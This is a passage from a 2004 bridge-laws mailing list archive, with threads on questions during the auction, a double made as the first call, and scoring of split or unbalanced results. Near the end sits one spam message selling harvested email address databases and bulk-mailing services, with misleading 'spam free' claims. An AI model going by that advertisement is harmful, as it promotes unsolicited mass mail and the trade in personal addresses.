how the cards have (I hope) been > dealt. That picture may or may not be of any use to me during the > auction, because I may or may not have any reason to compete in that > auction. It will almost certainly be of use to me during the play, > though. It is the position of the WBFLC, as I understand it, that if I > have no reason to compete in the auction I must, if questions arise in > my mind about the meaning of opponents' auction, abandon any attempt to > continue building my mind picture until *after* the auction, thus being > required to spend time that I *might* have spent during the auction on > building that picture on doing so during the play - presumably before > playing to the first trick. Is that it? > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From emu@atrax.net.au Sat Mar 20 01:42:51 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Sat, 20 Mar 2004 12:42:51 +1100 Subject: [blml] Explain In-Reply-To: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> Message-ID: <002b01c40e1c$a9ae44a0$5656dccb@noeltsui0kso1i> Very well put! In response to this statement: "What I say is that in 1987 we did not allow that merely wishing to keep abreast of the auction was a demonstrable *bridge* Reason.." As a player who has a long way to go in Bridge, how do we expect = 'bunnies', as some of you so condescendingly put it, to progress to 'Bridge player' status if they can't ask questions (of their betters(sic)) 'to keep = abreast of the auction'? Why can this not be a demonstrable bridge reason? [Open only perhaps to players below Life Master status who are playing a Green system perhaps, = but why not?] regards, Noel=20 -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of Ed Reppert Sent: Saturday, March 20, 2004 8:28 AM To: blml Subject: Re: [blml] Explain On Friday, Mar 19, 2004, at 02:37 US/Eastern, gesta@tiscali.co.uk wrote: > What I say is that in 1987 we did not allow that merely wishing to > keep > abreast of the auction was a demonstrable *bridge* reason as ton now > wishes to argue. Let's see if I have this straight. When I (or, I assume, any player)=20 sits down at the bridge table, I listen to the auction and, as things=20 proceed, build a picture in my mind of how the cards have (I hope) been=20 dealt. That picture may or may not be of any use to me during the=20 auction, because I may or may not have any reason to compete in that=20 auction. It will almost certainly be of use to me during the play,=20 though. It is the position of the WBFLC, as I understand it, that if I=20 have no reason to compete in the auction I must, if questions arise in=20 my mind about the meaning of opponents' auction, abandon any attempt to=20 continue building my mind picture until *after* the auction, thus being=20 required to spend time that I *might* have spent during the auction on=20 building that picture on doing so during the play - presumably before=20 playing to the first trick. Is that it? _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From emu@atrax.net.au Sat Mar 20 01:42:51 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Sat, 20 Mar 2004 12:42:51 +1100 Subject: [blml] Pass out seat action? In-Reply-To: Message-ID: <002d01c40e1c$ac9055f0$5656dccb@noeltsui0kso1i> Richard, of course, being our mentor in the use of Symmetric Relay, a = strong 1C system with innumerable relay auctions, is the major culprit here! regards, Noel -----Original Message----- From: richard.hills@immi.gov.au [mailto:richard.hills@immi.gov.au]=20 Sent: Wednesday, March 17, 2004 10:53 AM To: blml@rtflb.org Cc: emu@atrax.net.au; manager@canberrabridgeclub.com.au Subject: Re: [blml] Pass out seat action? Noel wrote: >>There are often not enough Pass cards in the box Ed wrote: >If there aren't enough pass cards, perhaps one >should inform the TD that her bidding boxes are >deficient RJH writes: Noel is a colleague of mine at the Canberra Bridge Club. In my opinion, it is not the bidding boxes which are deficient, it is the Canberra bridge players who are defective. Canberra bridge players have a predilection for super-scientific overlong auctions. Perhaps the Canberra Bridge Club could solve the Pass cards problem with a new Law 40D regulation: "Any bidding system that would cause the opponents to run out of Pass cards is illegal." :-) Best wishes Richard James Hills -------------------------------------------------------------------------= --- ---------- Important Warning: If you have received this email in error, please = advise the sender and delete the message and attachments immediately. =A0This = email, including attachments, may contain confidential, legally privileged = and/or copyright information, the unauthorised use of which is prohibited. Any views expressed in this email are those of the individual sender, except where the sender expressly, and with authority, states them to be the = view of the Department of Immigration and Multicultural and Indigenous = Affairs (DIMIA). =A0DIMIA respects your privacy and has obligations under the = Privacy Act 1988 (see www.immi.gov.au). -------------------------------------------------------------------------= --- ---------- From emu@atrax.net.au Sat Mar 20 01:42:51 2004 From: emu@atrax.net.au (Noel and Pamela) Date: Sat, 20 Mar 2004 12:42:51 +1100 Subject: [blml] ethics or Ethics (was Should ... infractions) In-Reply-To: <009b01c40b6e$a50fca00$a59468d5@tinyhrieuyik> Message-ID: <002c01c40e1c$ab7bd8b0$5656dccb@noeltsui0kso1i> I work in a Government legal drafting office (no, I am not one of the drafters). They work assiduously in converting their clients desires to beautifully crafted and effective legal language which is then presented to = Parliament for ratification. [more complicated than that, but it will do!] In a perfect world, that would be the end of the matter. Everyone would know what the law was - it might be bad law, but there would be no = argument about what it actually meant or said. However, why do you think the whole Court system exists? [Thousands of Lawyers, Hundreds of Judges...in this in a little place like Australia.] Answer: To work out what the heck the beautifully crafted legal words might = actually say; whether they actually reflect what the clients wanted in the first place; and in any case, what the real law is! Note they have 3 or more judges on Appeals Courts! It doesn't work any better in real life - why do any of you think it can work in Bridge? Especially laws drafted by a committee, probably = without any legal drafting training or experience.... regards, Noel -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of = Nigel Guthrie Sent: Wednesday, March 17, 2004 2:52 AM To: blml@rtflb.org Subject: Re: [blml] ethics or Ethics (was Should ... infractions) [Ron Johnston] Nigel (and others) Constructive criticism works better here. Rather than carp about the language, send along wording that you feel both captures the intent of = the laws and is unambiguous. It's a lot harder than it looks to write laws = in a way that a creative mind *can't* see in a different light than was = intended. And I think this is a good forum for hashing out problematic language. = One of the really smart things that the NHL used to do was send drafts of proposed rules changes to the most creative of the "sea lawyers" in the game. If Roger Neilson could find a way to subvert the intent, the rule = was almost certainly properly crafted. Lord knows we've got plenty of = creative minds here. [Nigel] (1) All my suggestions are constructive. (2) For law changes, I usually suggest appropriate words. (3) I have even suggested clarifications to existing laws but those are contingent on agreement by their authors on what meaning they *intend*. (4) If I ask a straight-forward question about existing law many times without reply and I surmise that there is no sensible answer, then I suppose I do become cynical. (5) I have often opined that it is hard to write complete simple objective laws, in a clear consistent way. It is near impossible to achieve coherence when instead you aspire to write incomplete, sophisticated, subjective laws that restore equity. IMO the latter is also pretty pointless unless you want to deter potential players. --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.624 / Virus Database: 401 - Release Date: 15/03/2004 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From svenpran@online.no Sat Mar 20 08:51:11 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 20 Mar 2004 09:51:11 +0100 Subject: [blml] L25A or L25B In-Reply-To: Message-ID: <000001c40e58$7ea1f270$6900a8c0@WINXP> > Steve Wright ........... > In pairs I can just about fudge this, but our scoring program only > handles a result being an actual score or an avg/avg+/avg- etc. It = won't > allow assigning an actual score to one side and an avg- to another. It is just too bad if you use a scoring program that cannot handle your = real life needs. > Lets assume that 4D scores -200 and 4S scores +450 >=20 > How do you score this in teams of four? You score according to the table results at both tables. Then (for your = side only) if the table result gives your team a better score than -3 IMPs = you "award" a penalty effectively limiting your team result on this board to = -3 IMPs.=20 > Does it make a difference if this is multiple teams or head to head? No.=20 > How do you score it in teams of eight? In our county league, we add = the > results from the four tables and then IMP it. Same thing, you calculate the table result and then award some kind of penalty to your team if necessary to limit your score to -3 IMPs. Regards Sven From t.kooyman@worldonline.nl Sat Mar 20 10:30:35 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sat, 20 Mar 2004 11:30:35 +0100 Subject: [blml] Explain References: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> Message-ID: <002501c40e66$645399b0$87f8f1c3@LNV> Kojak: > Anybody out there who wishes to say YES? If you are not among those the only one I know of is Grattan. Grattan who accuses me of misquoting him after which he suggests that I tell that a player can't create UI to partner when asking a question. Which is ridiculous and could be taken as an insult by a less generous man. I take it as innocence. My conclusion is, and David has certainly helped me to get there, that I spent too much time on a non-issue. ton Ed: > > On Friday, Mar 19, 2004, at 02:37 US/Eastern, gesta@tiscali.co.uk wrote: > > > > > What I say is that in 1987 we did not allow that merely wishing to > > > keep > > > abreast of the auction was a demonstrable *bridge* reason as ton now > > > wishes to argue. > > > > Let's see if I have this straight. When I (or, I assume, any player) > > sits down at the bridge table, I listen to the auction and, as things > > proceed, build a picture in my mind of how the cards have (I hope) been > > dealt. That picture may or may not be of any use to me during the > > auction, because I may or may not have any reason to compete in that > > auction. It will almost certainly be of use to me during the play, > > though. It is the position of the WBFLC, as I understand it, that if I > > have no reason to compete in the auction I must, if questions arise in > > my mind about the meaning of opponents' auction, abandon any attempt to > > continue building my mind picture until *after* the auction, thus being > > required to spend time that I *might* have spent during the auction on > > building that picture on doing so during the play - presumably before > > playing to the first trick. Is that it? > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From Laval_Dubreuil@uqss.uquebec.ca Sat Mar 20 15:46:37 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Sat, 20 Mar 2004 10:46:37 -0500 Subject: [blml] X as first call Message-ID: Hi BLMLrs, I have been called for a strange infraction (I have only 10 years of practice as TD....). The dealer put a X as first call.... When called, he told me: "I was just not there... I have a normal 1C opening." My ruling: Law 25A cannot be applied: he was disturbed and really intended the X and put the intended bid card on table. LHO may accept the substitute 1C call (Law 25B1). He did not. Law25B2b cannot be used because first call is illegal. So: Law25B2a is enforced and refers to Law 36 (inadmissible X). The X is cancelled, offender must make a legal call, his partner must pass for the rest of the auction. The offender bid 1C, LHO bid 1NT, Pass, Pass, Pass. Law 26B applies (Withdrawn Call not Related to Suits). The declarer may prohibit any one suit for the opening lead. Any comment ? Laval Du Breuil Quebec City From jrhind@therock.bm Sat Mar 20 16:13:19 2004 From: jrhind@therock.bm (Jack A. Rhind) Date: Sat, 20 Mar 2004 12:13:19 -0400 Subject: [blml] X as first call In-Reply-To: Message-ID: On 3/20/04 11:46 AM, "Laval Dubreuil" wrote: > Hi BLMLrs, > > I have been called for a strange infraction > (I have only 10 years of practice as TD....). > > The dealer put a X as first call.... When called, he told me: > "I was just not there... I have a normal 1C opening." > > My ruling: > > Law 25A cannot be applied: he was disturbed and really > intended the X and put the intended bid card on table. > > LHO may accept the substitute 1C call (Law 25B1). He did not. > > Law25B2b cannot be used because first call is illegal. So: > > Law25B2a is enforced and refers to Law 36 (inadmissible X). > The X is cancelled, offender must make a legal call, his > partner must pass for the rest of the auction. > > The offender bid 1C, LHO bid 1NT, Pass, Pass, Pass. > Law 26B applies (Withdrawn Call not Related to Suits). > The declarer may prohibit any one suit for the opening lead. > > Any comment ? > > Laval Du Breuil > Quebec City > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml I believe Law 35 and Law 36 should be applied here as this is an inadmissible call. The call should therefore be cancelled and substituted with an admissible call. The auction should then proceed. I would then apply Law 26 if appropriate. Regards, Jack Rhind Bermuda From jrhind@therock.bm Sat Mar 20 16:23:22 2004 From: jrhind@therock.bm (Jack A. Rhind) Date: Sat, 20 Mar 2004 12:23:22 -0400 Subject: [blml] X as first call In-Reply-To: Message-ID: On 3/20/04 11:46 AM, "Laval Dubreuil" wrote: > Hi BLMLrs, > > I have been called for a strange infraction > (I have only 10 years of practice as TD....). > > The dealer put a X as first call.... When called, he told me: > "I was just not there... I have a normal 1C opening." > > My ruling: > > Law 25A cannot be applied: he was disturbed and really > intended the X and put the intended bid card on table. > > LHO may accept the substitute 1C call (Law 25B1). He did not. > > Law25B2b cannot be used because first call is illegal. So: > > Law25B2a is enforced and refers to Law 36 (inadmissible X). > The X is cancelled, offender must make a legal call, his > partner must pass for the rest of the auction. > > The offender bid 1C, LHO bid 1NT, Pass, Pass, Pass. > Law 26B applies (Withdrawn Call not Related to Suits). > The declarer may prohibit any one suit for the opening lead. > > Any comment ? > > Laval Du Breuil > Quebec City > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml I believe Law 35 and Law 36 should be applied here as this is an inadmissible call. The call should therefore be cancelled and substituted with an admissible call. The auction should then proceed. I am not aware of exactly what was said at the table so there may have been some UI to partner. I don't think I would apply Law 26 in this situation. Regards, Jack Rhind Bermuda From svenpran@online.no Sat Mar 20 16:44:37 2004 From: svenpran@online.no (Sven Pran) Date: Sat, 20 Mar 2004 17:44:37 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000001c40e9a$a1c548f0$6900a8c0@WINXP> > Laval Dubreuil > The dealer put a X as first call.... When called, he told me: > "I was just not there... I have a normal 1C opening." >=20 > My ruling: >=20 > Law 25A cannot be applied: he was disturbed and really > intended the X and put the intended bid card on table. The situation is covered by Law 25: Legal and illegal changes of call. = Your first choice is to try whether Law 25A is applicable and you ruled that = it is not. > LHO may accept the substitute 1C call (Law 25B1). He did not. Your next choice is whether LHO has made a call subsequent to the X in = which case Law 35A would be applicable. This condition was not met. Note that = Law 25B1 can never be applicable when the (re-)double is inadmissible = according to Law 19. > Law25B2b cannot be used because first call is illegal. So: At this stage you will rule according to Law 25B2(a) which directs you = to Law 36 - which is exactly what you did: =20 > Law25B2a is enforced and refers to Law 36 (inadmissible X). > The X is cancelled, offender must make a legal call, his > partner must pass for the rest of the auction. >=20 > The offender bid 1C, LHO bid 1NT, Pass, Pass, Pass. > Law 26B applies (Withdrawn Call not Related to Suits). > The declarer may prohibit any one suit for the opening lead. >=20 > Any comment ? Except for you sidetracking into asking LHO whether he would accept the illegal call (which was no option!) your ruling is correct. Regards Sven From blml@blakjak.com Sun Mar 21 01:17:26 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 21 Mar 2004 01:17:26 +0000 Subject: [blml] L25A or L25B In-Reply-To: References: Message-ID: <7c8hL0Gm0OXAFwlp@blakjak.demon.co.uk> Steve Wright wrote >In message , David Stevenson > writes >>Steve Wright wrote >>>I'm sure we've discussed this before, but I cannot recall what >>>conclusion we came to... >>> >>>1S (P) 4D[1] (P) >>>P[2] >>> >>>[1] Alerted and explained as a splinter agreeing spades >>>[2] Pass card placed on the table, followed by "Sorry, I meant to >>>sign off in 4S" >>> >>>Mechanical error [L25A] or Change of mind [L25B]? >> >> Change of mind: at the moment the player reached for the box he >>intended to pass. >> >> This auction was the one quoted as being the raison d'etre for L25B. >> >I thought as much, but there was this moment of doubt in my mind. > >I was the idiot who passed the cue bid. I chose at the time to change >my bid and just accepted the bad score for my mistake. > >But...if I had changed by bid under L25B, how do you score it as it >says "the offending side receives no greater than average minus and the >non-offending side receives the score achieved at the table." > >In pairs I can just about fudge this, but our scoring program only >handles a result being an actual score or an avg/avg+/avg- etc. It >won't allow assigning an actual score to one side and an avg- to another. I am sorry if you have a scoring system that will not handle all legal scores. Perhaps time to try CASS? :)) >Lets assume that 4D scores -200 and 4S scores +450 > >How do you score this in teams of four? >Does it make a difference if this is multiple teams or head to head? Yes. In all forms of duplicate bridge except knockout unbalanced scores are perfectly normal. There are no problems: just score each side separately. So, for example, if the score in the other room is 450 then the non-offenders get their table score - 0 imps - and the offenders get -3 imps, the equivalent of Ave-. In knockout teams L86B tells you to average the two scores, so average 0 and -3. Local regs should tell you how to deal with decimals - in the EBU you round to the nearest, or away from zero if there is a .5, so in the EBU this averages to -2 imps. >How do you score it in teams of eight? In our county league, we add the >results from the four tables and then IMP it. Teams of eight should always have regulations to cover happenings at one table. Any averaging causes trouble otherwise. Of course most teams of eight do not. :((( The scores being different for the two sides is not a problem. If the scores at the table are +450 -450 +480 -450 for the non-offenders they get +1 imp: that is easy. But the problem is that for the offenders they get Ave- at one table, and what that means in effect is the same as it means if they get Ave- in any other way. In the absence of a regulation otherwise I would say that Ave- must be -3 imps over the four tables, so on that basis, -3 imps to the offenders. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Sun Mar 21 01:19:13 2004 From: blml@blakjak.com (David Stevenson) Date: Sun, 21 Mar 2004 01:19:13 +0000 Subject: [blml] L25A or L25B In-Reply-To: <000001c40e58$7ea1f270$6900a8c0@WINXP> References: <000001c40e58$7ea1f270$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> Steve Wright >> Lets assume that 4D scores -200 and 4S scores +450 >> >> How do you score this in teams of four? > >You score according to the table results at both tables. Then (for your side >only) if the table result gives your team a better score than -3 IMPs you >"award" a penalty effectively limiting your team result on this board to -3 >IMPs. > >> Does it make a difference if this is multiple teams or head to head? > >No. Yes, it does. You have unbalanced scores if it is not head-to-head, but you cannot in head-to-head. I have explained this in my other post. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From gesta@tiscali.co.uk Sun Mar 21 00:44:07 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 21 Mar 2004 00:44:07 -0000 Subject: [blml] Explain References: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> <002501c40e66$645399b0$87f8f1c3@LNV> Message-ID: <000001c40ef4$23d55890$02ea403e@multivisionoem> Grattan Endicott To: "WILLIAM SCHODER" ; "blml" ; "Ed Reppert" Sent: Saturday, March 20, 2004 10:30 AM Subject: Re: [blml] Explain > > Grattan (who accuses me of misquoting him >after which he) suggests that I tell that a player > can't create UI to partner when asking a question. > +=+ I can't believe I said that. What I can remember suggesting was that if there is an inference for partner to draw from a question the same inference is available to an opponent. . ~ Grattan ~ +=+ From gesta@tiscali.co.uk Sun Mar 21 01:21:47 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 21 Mar 2004 01:21:47 -0000 Subject: [blml] Explain References: <3CFE0749-79EC-11D8-A265-0030656F6826@rochester.rr.com> Message-ID: <000101c40ef4$249685b0$02ea403e@multivisionoem> Grattan Endicott To: "blml" ; "Ed Reppert" Sent: Saturday, March 20, 2004 12:44 AM Subject: Re: [blml] Explain > Anybody out there who wishes to say YES? > +=+ Surely not. It is of course generally agreed that the laws allow you to ask a question as Law 20F provides. However, the laws also say 1. That by asking a question you may mislead an opponent. 2. That if you do the Director must determine whether (a) you could have known, when you asked, that asking it could benefit you like that, and (b) whether you had a demonstrable bridge reason for asking. If the answer to (a) is 'yes' and to (b) is 'no', the Director 'shall award an adjusted score'. There is no WBFLC interpretation of the phrase 'demonstrable bridge reason' in 73F2 - when we agreed the words we did not think their meaning and application would be in doubt - so Directors and ACs must make judgements case by case. What I think, what others think, are personal opinions without the backing of any WBFLC minute. (I might dig up comment by EK from 1985/6, given time, but such comment would only inform as to intention and not constitute mandatory guidance for anyone.) ~ Grattan ~ +=+ From gesta@tiscali.co.uk Sun Mar 21 03:45:33 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Sun, 21 Mar 2004 03:45:33 -0000 Subject: [blml] X as first call References: <000001c40e9a$a1c548f0$6900a8c0@WINXP> Message-ID: <000d01c40ef7$0dd9e030$e70ce150@multivisionoem> Grattan Endicott To: "blml" Sent: Saturday, March 20, 2004 4:44 PM Subject: RE: [blml] X as first call > Laval Dubreuil > The dealer put a X as first call.... When called, he told me: > "I was just not there... I have a normal 1C opening." > > My ruling: > > Law 25A cannot be applied: he was disturbed and really > intended the X and put the intended bid card on table. The situation is covered by Law 25: Legal and illegal changes of call. Your first choice is to try whether Law 25A is applicable and you ruled that it is not. < +=+ Why is Law 36 considered not to apply? ~ G ~ +=+ From schuster@eduhi.at Sun Mar 21 08:54:09 2004 From: schuster@eduhi.at (Petrus Schuster OSB) Date: Sun, 21 Mar 2004 09:54:09 +0100 Subject: [blml] a small matter of scoring Message-ID: It's nothing much, but: Let's assume there is a split score of NS -100, EW +620. The other 99 scores are all +140. Now, applying L78A would give (on a top of 198) 100 matchpoints to all NS pairs scoring +140, and equally 100 matchpoints to their opponents so that NS and EW percentages for +140 add up to 101%. You would need seperate frequency sheets for NS and EW. Does any software actually do this? -- Petrus Schuster OSB From t.kooyman@worldonline.nl Sun Mar 21 09:26:17 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 21 Mar 2004 10:26:17 +0100 Subject: [blml] a small matter of scoring References: Message-ID: <004f01c40f26$9424cc70$75f8f1c3@LNV> ----- Original Message ----- From: "Petrus Schuster OSB" To: Sent: Sunday, March 21, 2004 9:54 AM Subject: [blml] a small matter of scoring > It's nothing much, but: > Let's assume there is a split score of NS -100, EW +620. The other 99 > scores are all +140. > Now, applying L78A would give (on a top of 198) 100 matchpoints to all NS > pairs scoring +140, and equally 100 matchpoints to their opponents so that > NS and EW percentages for +140 add up to 101%. > You would need seperate frequency sheets for NS and EW. > Does any software actually do this? > -- > Petrus Schuster OSB I hope all software does; if not don't use it. The main programs in my country do. ton From svenpran@online.no Sun Mar 21 11:08:50 2004 From: svenpran@online.no (Sven Pran) Date: Sun, 21 Mar 2004 12:08:50 +0100 Subject: [blml] X as first call In-Reply-To: <000d01c40ef7$0dd9e030$e70ce150@multivisionoem> Message-ID: <000001c40f34$e73fca50$6900a8c0@WINXP> > gesta@tiscali.co.uk > From: "Sven Pran" > > Laval Dubreuil > > The dealer put a X as first call.... When called, he told me: > > "I was just not there... I have a normal 1C opening." > > > > My ruling: > > > > Law 25A cannot be applied: he was disturbed and really > > intended the X and put the intended bid card on table. >=20 > The situation is covered by Law 25: Legal and illegal > changes of call. Your first choice is to try whether > Law 25A is applicable and you ruled that it is not. > < > +=3D+ Why is Law 36 considered not to apply? > ~ G ~ +=3D+ I cannot remember writing that Law 36 does not apply. On the contrary I (eventually) continued: "At this stage you will rule according to Law 25B2(a) which directs you to Law 36". Don't you agree that we shall follow the prescribed route through the = Laws? In this case I understand the correct procedure to be testing the = situation first against Law 25A, then against Law 25B and eventually against Law = 36. Am I wrong in considering a director's error if he applies Law 36 = directly? (Ignoring rights for OS if he skips Law 25A and for NOS if he skips Law = 25B) Regards Sven From schoderb@msn.com Sun Mar 21 14:14:31 2004 From: schoderb@msn.com (WILLIAM SCHODER) Date: Sun, 21 Mar 2004 09:14:31 -0500 Subject: [blml] X as first call References: <000001c40e9a$a1c548f0$6900a8c0@WINXP> <000d01c40ef7$0dd9e030$e70ce150@multivisionoem> Message-ID: Thanks, Grattan. Of course it applies if an "X" is the normal way of indicating "double" which seems clearly the case from the infractor's comments. The difference in rectification by using 36, thereby eliminating the provisions of 25, is purposeful on the part of the promulgators. Again in this thread, as so often in others, I encounter squeezing, misreading, posturing in having found an imagined deficiency in the laws, vague "almost" references and looking for argument -- all perfectly normal for some BLML'ers. It was drilled into me by Edgar and others many years ago that when a specific law exists for an action, that law is to be applied. When no such specific provision exists, then the general laws are used for guidance in what to do. Worked pretty well for me for over 40 years at all levels of tournament bridge, and I strongly suggest it as a simple, direct, and useful method. Of course you have to know what is in the laws to do it, and not be hunting through the book for something that "looks like this will work." Before anyone gets all exercised over this posting, I am talking about the existing laws, not the drafting, revising, changing, or possible future laws. Kojak ----- Original Message ----- From: To: "Sven Pran" ; "blml" Sent: Saturday, March 20, 2004 10:45 PM Subject: Re: [blml] X as first call > > Grattan Endicott [also grandeval@vejez.fsnet.co.uk] > ++++++++++++++++++++++++++++++++ > "Consult the genius of the place in all." > ~ Alexander Pope. > =#=#=#=#=#=#=#=#=#=#=#=#=#=#=#=#= > ----- Original Message ----- > From: "Sven Pran" > To: "blml" > Sent: Saturday, March 20, 2004 4:44 PM > Subject: RE: [blml] X as first call > > > > Laval Dubreuil > > The dealer put a X as first call.... When called, he told me: > > "I was just not there... I have a normal 1C opening." > > > > My ruling: > > > > Law 25A cannot be applied: he was disturbed and really > > intended the X and put the intended bid card on table. > > The situation is covered by Law 25: Legal and illegal > changes of call. Your first choice is to try whether > Law 25A is applicable and you ruled that it is not. > < > +=+ Why is Law 36 considered not to apply? > ~ G ~ +=+ > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > From Laval_Dubreuil@uqss.uquebec.ca Sun Mar 21 16:57:16 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Sun, 21 Mar 2004 11:57:16 -0500 Subject: [blml] X as first call In-Reply-To: <000001c40e9a$a1c548f0$6900a8c0@WINXP> Message-ID: Sven writes: Except for you sidetracking into asking LHO whether he would accept the illegal call (which was no option!) your ruling is correct. ________________________________________________________________________ No... I offered LHO to accept the substituted call (1H) (25B1), not the illegal X. Laval Du Breuil From jnichols@midtechnologies.com Sun Mar 21 17:01:17 2004 From: jnichols@midtechnologies.com (John Nichols) Date: Sun, 21 Mar 2004 12:01:17 -0500 Subject: [blml] a small matter of scoring Message-ID: <7159715E6FDBD511B5460050DA6388BD232E@exchange.midtechnologies.com> I checked this using ACBLScore and it worked correctly. Of course at the table with the split score the matchpoints are zero to both NS and EW, so the board overall is in balance. Any scoring program that handles a split score should get this correct. And a scoring program that can't handle a split score would not be very usefull. John S. Nichols -----Original Message----- From: Petrus Schuster OSB [mailto:schuster@eduhi.at] Sent: Sunday, March 21, 2004 3:54 AM To: blml@rtflb.org Subject: [blml] a small matter of scoring It's nothing much, but: Let's assume there is a split score of NS -100, EW +620. The other 99 scores are all +140. Now, applying L78A would give (on a top of 198) 100 matchpoints to all NS pairs scoring +140, and equally 100 matchpoints to their opponents so that NS and EW percentages for +140 add up to 101%. You would need seperate frequency sheets for NS and EW. Does any software actually do this? -- Petrus Schuster OSB _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From Laval_Dubreuil@uqss.uquebec.ca Sun Mar 21 17:16:44 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Sun, 21 Mar 2004 12:16:44 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: Sven writes: Except for you sidetracking into asking LHO whether he would accept the illegal call (which was no option!) your ruling is correct. ________________________________________________________________________ No... I offered LHO to accept the substituted call (1C) (25B1), not the illegal X. Laval Du Breuil Sorry....the subtituted call was 1C...not 1H From t.kooyman@worldonline.nl Sun Mar 21 17:32:54 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Sun, 21 Mar 2004 18:32:54 +0100 Subject: [blml] Explain References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> Message-ID: <002101c40f6a$91192230$1e81b6d4@LNV> > Grattan: > > > What I say is that > > in 1987 we did not allow that merely wishing to keep > > abreast of the auction was a demonstrable *bridge* > > reason as ton now wishes to argue. Jaap: > I understand your logic. Still I disagree with that 1987 'view'. What the LC did in '87 I indeed do not know. But I doubt that it said what Grattan is telling us now, which has to do with my trust in the LC more generally and in EK in particular. What I know is that Grattan didn't proof it at any stage during this long discussion now. What I do know is that the LC in Monaco '03 agreed that a player who wants to understand what is going on during the auction and asks about the meaning of calls, therewith has a bridge reason. Grattan simply is misleading blml. And yes we have discussed the possibility that this might create UI for partner. And yes we did discuss the possibility that a player asks such a question for another reason than to keep up with the auction, in which case L73F2 might apply. ton From ngf@hotmail.com Sun Mar 21 17:41:17 2004 From: ngf@hotmail.com (ngf@hotmail.com) Date: Mon, 22 Mar 2004 01:41:17 +0800 Subject: [blml] Email Marketing Message-ID: Email Marketing ! We offer you e-mail addresses databases for advertisement mailing; we sell databases also carry out mailing and hosting for the advertising projects. Products World Email Lists . Their validity and originality are verified. web site: http://emailwd.vip.myrice.com/wd3.htm Country or area total emails and price America 175 Million Email Address Europe 156 Million Email Address Asia 168 Million Email Address China(PRC) 80 Million Email Address HongKong 3.25 Million Email Address TaiWan 2.25 Million Email Address Japan 27 Million Email Address Australia 6 Million Email Address Canda 10 Million Email Address Russia 38 Million Email Address England 3.2 Million Email Address German 20 Million Email Address France 38 Million Email Address India 12 Million Email Address CENTRAL & SOUTH AMERICAN AREA 40 Million Email Address MIDDLE EAST & AFRICA 45 million Email Address SOUTH EAST AREA 32 million Email Address other Country or Area ¡­¡­¡­¡­¡­¡­ ---------------------------------------------------------------------------- Category Name total emails total price Apparel, Fashion, Textiles and Leather 4,654,565 $150 $100 US Automobile & Transportation 6,547,845 Business Services 6,366,344 Chemicals 3,445,565 Computer & Telecommunications 654,655 Construction & Real Estate 3,443,544 Consumer Electronics 1,333,443 Energy, Minerals & Metals 6,765,683 Environment 656,533 Food & Agriculture 1,235,354 Gems & Jewellery 565,438 Health & Beauty 804,654 Home Supplies 323,232 Industrial Supplies 415,668 Office Supplies 1,559,892 Packaging & Paper 5,675,648 Printing & Publishing 6,563,445 Security & Protection 5,653,494 Sports & Entertainment 3,488,455 Toys, Gifts and Handicrafts 2,135,654 --------------------------------------------------------------------------------------------- ¡¤All 136 nations , 40 trades email lists --------------------------------------------------------------------------------------------- Send Your Ad to Millions 5 million bulk email 50 million bulk email 100 million bulk email 200 million bulk email Imagine emailing 500,000 recipients and 1 out of every 1000 orders your product, that's 500 new orders! * We go all-out to make sure our customers are completely satisfied * If any emails fail to make delivery, we replace them free of charge * 100% Spam free, rest assured you will not be accused of spamming * Almost all of our emails are sent to valid email addresses * No software required, we do all the mailing from our own server * Don't be fooled in signing up with similar sites offering services that cannot compare to ours * Get the most bang for your buck with bulk email advantage! -------------------------------------------------------------------------------------------------------- Details and order Click Here to web site: http://emailwd.vip.myrice.com/wd3.htm If you can't see website ,please email us contact: yhzx599@vip.sina.com Thank you! the silver star internet information company copyright¡¤2004-2005 all reserved ------------------------------------------------------------ remove please email: emailad1234@sina.com ------------------------------------------------------------ From svenpran@online.no Sun Mar 21 19:45:44 2004 From: 